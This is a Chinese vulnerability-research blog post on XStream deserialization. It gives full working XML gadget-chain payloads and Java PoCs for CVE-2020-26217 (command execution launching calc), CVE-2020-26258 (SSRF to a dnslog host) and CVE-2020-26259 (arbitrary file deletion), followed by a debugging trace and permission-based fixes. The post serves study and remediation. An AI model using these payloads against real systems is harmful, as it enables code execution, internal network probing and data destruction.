文章目录

  • 1、简介
  • 2、举例
  • 3、漏洞
    • CVE-2020-26217
    • CVE-2020-26258
    • CVE-2020-26259
    • 调试
  • 4、修复

1、简介

xstream是一个用于序列化和反序列化的java库,主要是java对象和xml之间相互转换。
XStream反序列化同fastjson这种不一样的地方是fastjson会在反序列化的时候主动去调用getters和setters,而XStream的反序列化过程中赋值都有Java的反射机制来完成,所以并没有这样主动调用的特性。

特点

  • 使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例
  • 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化
  • 性能 - XStream快速和低内存占用,适合于大对象图或系统
  • 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读
  • 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类,默认构造函数不是强制性的要求
  • 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用
  • 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册
  • 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题
  • 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题
  • 另一种输出格式 - XStream支持其它的输出格式,如JSON

2、举例

引入xstream

 <dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.16</version></dependency>

随便创建一个Student类,用于反序列化和被反序列化:

package xstream;public class Student {public String name;public String sex;//@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)public Object myObject;public Student(){System.out.println("Student 构造函数");}public String getName(){System.out.println("getName");return name;}public void setName(String name){System.out.println("setName");this.name = name;}public String getSex(){System.out.println("getSex");return sex;}public void setSex(String sex){System.out.println("setSex");this.sex = sex;}public Object getMyObject() {System.out.println("getMyObject");return myObject;}public void setMyObject(Object myObject) {System.out.println("setMyObject");this.myObject = myObject;}@Overridepublic String toString() {return String.format("Student.name=%s, Student.sex=%s", name, sex);}
}

具体实现栗子

package xstream;import com.fasterxml.jackson.databind.ObjectMapper;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;import java.io.IOException;public class XstreamPoc {public static void main(String[] args) throws IOException {poc01();}public static void poc01() throws IOException {Student student = new Student();student.setName("5wimming");student.setSex("boy");XStream xstream = new XStream(new StaxDriver());String xml = xstream.toXML(student);System.out.println(xml);Student student02 = (Student) xstream.fromXML(xml);System.out.println(student02);}}

运行结果如下

Student 构造函数
setName
setSex
<?xml version="1.0" ?><xstream.Student><name>5wimming</name><sex>boy</sex></xstream.Student>
Student.name=5wimming, Student.sex=boy

3、漏洞

CVE-2020-26217

首先引入满足漏洞条件的xstream包,小于1.4.13即可

 <dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.11</version></dependency>

官方给的poc

<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'><dataHandler><dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'><contentType>text/plain</contentType><is class='java.io.SequenceInputStream'><e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'><iterator class='javax.imageio.spi.FilterIterator'><iter class='java.util.ArrayList$Itr'><cursor>0</cursor><lastRet>-1</lastRet><expectedModCount>1</expectedModCount><outer-class><java.lang.ProcessBuilder><command><string>calc</string></command></java.lang.ProcessBuilder></outer-class></iter><filter class='javax.imageio.ImageIO$ContainsFilter'><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>start</name></filter><next/></iterator><type>KEYS</type></e><in class='java.io.ByteArrayInputStream'><buf></buf><pos>0</pos><mark>0</mark><count>0</count></in></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><string>test</string></entry>
</map>

建一个poc:

package xstream;import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;import java.io.IOException;public class XstreamPoc {public static void main(String[] args) throws IOException {poc02();}public static void poc02(){String pocXml = "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +"        <dataHandler>\n" +"          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +"            <contentType>text/plain</contentType>\n" +"            <is class='java.io.SequenceInputStream'>\n" +"              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +"                <iterator class='javax.imageio.spi.FilterIterator'>\n" +"                  <iter class='java.util.ArrayList$Itr'>\n" +"                    <cursor>0</cursor>\n" +"                    <lastRet>-1</lastRet>\n" +"                    <expectedModCount>1</expectedModCount>\n" +"                    <outer-class>\n" +"                      <java.lang.ProcessBuilder>\n" +"                        <command>\n" +"                          <string>calc</string>\n" +"                        </command>\n" +"                      </java.lang.ProcessBuilder>\n" +"                    </outer-class>\n" +"                  </iter>\n" +"                  <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +"                    <method>\n" +"                      <class>java.lang.ProcessBuilder</class>\n" +"                      <name>start</name>\n" +"                      <parameter-types/>\n" +"                    </method>\n" +"                    <name>start</name>\n" +"                  </filter>\n" +"                  <next/>\n" +"                </iterator>\n" +"                <type>KEYS</type>\n" +"              </e>\n" +"              <in class='java.io.ByteArrayInputStream'>\n" +"                <buf></buf>\n" +"                <pos>0</pos>\n" +"                <mark>0</mark>\n" +"                <count>0</count>\n" +"              </in>\n" +"            </is>\n" +"            <consumed>false</consumed>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <string>test</string>\n" +"  </entry>\n" +"</map>";XStream xstream = new XStream(new StaxDriver());xstream.fromXML(pocXml);}
}

运行后弹出计算器

CVE-2020-26258

这是一个SSRF漏洞,xstream版本小于1.4.14

漏洞payload:

<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'><dataHandler><dataSource class='javax.activation.URLDataSource'><url>http://localhost:8080/internal/:</url></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><string>test</string></entry>
</map>

poc如下:

    public static void poc03(){// CVE-2020-26258String pocXml = "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +"        <dataHandler>\n" +"          <dataSource class='javax.activation.URLDataSource'>\n" +"            <url>http://xstream26258.dnslog.com/:</url>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <string>test</string>\n" +"  </entry>\n" +"</map>";XStream xstream = new XStream(new StaxDriver());xstream.fromXML(pocXml);}

运行,发现dnslog成功了

CVE-2020-26259

这是一个任意文件删除漏洞,xstream版本需要小于1.4.14

首先在某个目录下创建一个test.txt,payload如下:

<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'><dataHandler><dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'><contentType>text/plain</contentType><is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'><tempFile>/Users/5wimming/temp/test.txt</tempFile></is></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><string>test</string></entry>
</map>

poc如下:

   public static void  poc04(){String pocXml = "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +"        <dataHandler>\n" +"          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +"            <contentType>text/plain</contentType>\n" +"            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +"              <tempFile>/Users/5wimming/temp/test.txt</tempFile>\n" +"            </is>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <string>test</string>\n" +"  </entry>\n" +"</map>";XStream xstream = new XStream(new StaxDriver());xstream.fromXML(pocXml);}

执行,然后文件说没就没了。

调试

我们调试一下后面几个漏洞吧
首先进入com.thoughtworks.xstream.XStream#fromXML(java.io.Reader)函数

接着进入com.thoughtworks.xstream.XStream#unmarshal(com.thoughtworks.xstream.io.HierarchicalStreamReader, java.lang.Object, com.thoughtworks.xstream.converters.DataHolder)函数

中间一大坨枯燥无味就不跟了,直奔主题。
跟进到com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap函数,在 Xstream 构建 entry 的过程中,将本次的key 值NativeString, put 到 map中:

强制进入put函数中,发现key值会被传进hash函数,继续跟进

发现key值就调用hashCode()函数,这就是问题所在,如果恶意类在hashCode中有恶意操作,就可以利用起来了,刚好NativeString就是这个类

我们进入jdk.nashorn.internal.objects.NativeString#hashCode函数,发现它调用了getStringValue函数,而getStringValue函数里面的value又调用了toString函数,这里的value就是Base64Data类

跟进toString函数,发现调用了get函数,继续跟进get函数

发现CVE-2020-26258和CVE-2020-26259这的触发点,CVE-2020-26217 利用的是readFrom 及其后续,不过因为 Xstream 黑名单限制了进行远程代码执行。而CVE-2020-26258和CVE-2020-26259利用 getInputStream 函数与 close 函数分别进行 ssrf 和文件删除。

下面是getInputStream 函数导致SSRF漏洞的触发点

下面是close函数导致文件删除的触发点

4、修复

黑名单方式

XStream xstream = new XStream();
// 首先清除默认设置,然后进行自定义设置
xstream.addPermission(NoTypePermission.NONE);
//将ImageIO类加入黑名单
xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class}));
xstream.fromXML(xml);

白名单方式

XStream xstream = new XStream();
// 首先清除默认设置,然后进行自定义设置
xstream.addPermission(NoTypePermission.NONE);
// 添加一些基础的类型,如Array、NULL、primitive
xstream.addPermission(ArrayTypePermission.ARRAYS);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
// 添加自定义的类列表
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));

参考:
https://www.jianshu.com/p/d8e6c5488353
https://www.cnblogs.com/v1ntlyn/p/14034019.html
https://blog.csdn.net/further_eye/article/details/110421329

xstream 反序列化漏洞研究与修复相关推荐

  1. Java反序列化漏洞研究

    Java反序列化漏洞研究 漏洞原理 java序列化就是把对象转换成字节流,便于保存在内存.文件.数据库中:反序列化即逆过程,由字节流还原成对象.当反序列化的输入来源于程序外部,可以被用户控制,恶意用户 ...

  2. XStream反序列化漏洞分析

    XStream反序列化漏洞分析 XStream反序列化漏洞分析 代理模式 EventHandler XStream 生成payload XStream流程分析 写在最后 XStream反序列化漏洞分析 ...

  3. XStream 反序列化漏洞 (CVE-2020-26258 26259) 的复现与分析

     聚焦源代码安全,网罗国内外最新资讯! Xstream 是 Java 类库,用来将对象序列化成 XML (JSON) 或反序列化为对象.XStream 是一款开源软件,允许在 BSD 许可证的许可下分 ...

  4. Jenkins cve-2016-0792 漏洞复现 Xstream 反序列化漏洞

    环境搭建 首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载,在官网和百度一开始都是没找到的,包括看了其他人的分析,但是都没有找到环境搭建,大部分是直接复现和poc分析 ...

  5. fastjson反序列化漏洞研究(下)

    博文内容中字符过多,拒绝显示 转载于:https://www.cnblogs.com/jinqi520/p/11576537.html

  6. Fastjson反序列化漏洞研究

    http://www.cnblogs.com/mrchang/p/6789060.html 转载于:https://blog.51cto.com/duallay/1925702

  7. YAML出现严重的反序列化漏洞,谷歌TensorFlow将采用 JSON

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 由谷歌开发的基于 Python 的开源机器学习和人工智能项目 TensorFlow 放弃对 YAML 的支持,以修复严重的代码执行漏洞. YAM ...

  8. 修而未复:说说WebLogic那修不完的Java反序列化漏洞

    编者说明:这篇文章初稿写在Oracle CPU补丁发布之后,考虑到文章内容的影响,并未在当时发布,WebLogic 的 Java 反序列化漏洞,已经修复了多次,最终的修复仍然未彻底解决问题. 背景 当 ...

  9. APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 相关的重点类和方法: org.apache.xmlrpc.parser.SerializableP ...

最新文章

  1. 高颜值的神经网络可视化工具:3D、彩色、可定制,还能可视化参数重要性
  2. amazeui页面分析之登录页面
  3. VMware ESXi客户端连接控制台时提示“VMRC控制台连接已断开...正在尝试重新连接“的解决方法
  4. ISE 14.7安装教程最新版(Win10安装)——解决Win10安装完后打不开快捷方式的方法
  5. go mongodb排序查询_【赵强老师】MongoDB中的索引(下)
  6. C语言实现牛顿-拉夫逊newton raphson求近似根roots(附完整源码)
  7. 手动脱UPX壳的几种方法
  8. 词嵌入应用_神经词嵌入的法律应用
  9. SQL SERVER2014 安装 Error code 0x858C001B.
  10. 前端面试题2021(超详细)
  11. d3_3 ATM模拟系统
  12. java模拟form表单提交图片文件
  13. AI 脑补宋明清皇帝长相,四大模型构想真实五官
  14. 引用限定符 reference qualifiers
  15. 美团旅行前端技术体系的思考与实践
  16. beego/logs模块的使用
  17. 自然语言处理基础技术之语义角色标注
  18. Processing学习 — Processing结合Kinect2实现人影互动
  19. c语言基础题(笔记二)
  20. OpenGL 3.0,等得花儿都谢了

热门文章

  1. 解决Ubuntu输入法图标消失,不能输入中文的问题
  2. js时间转换当前年月日时间
  3. 【​观察】史彦泽:销售易绝不坐等风口 坚持守正出奇以制胜
  4. Java springboot Object转换List String转List 数组转List
  5. 支付宝刚开通2个月,芝麻分才552就开通了借呗,这是什么情况?
  6. 数据趣事:豪掷2200亿美元举办的世界杯有多精彩!世界杯趣事你知道哪些
  7. 盐城北大青鸟感恩节丨表达感恩 温暖加倍~
  8. H3C配置Web登陆
  9. JavaScript:数组大全
  10. 苹果5s手机主题被删如何恢复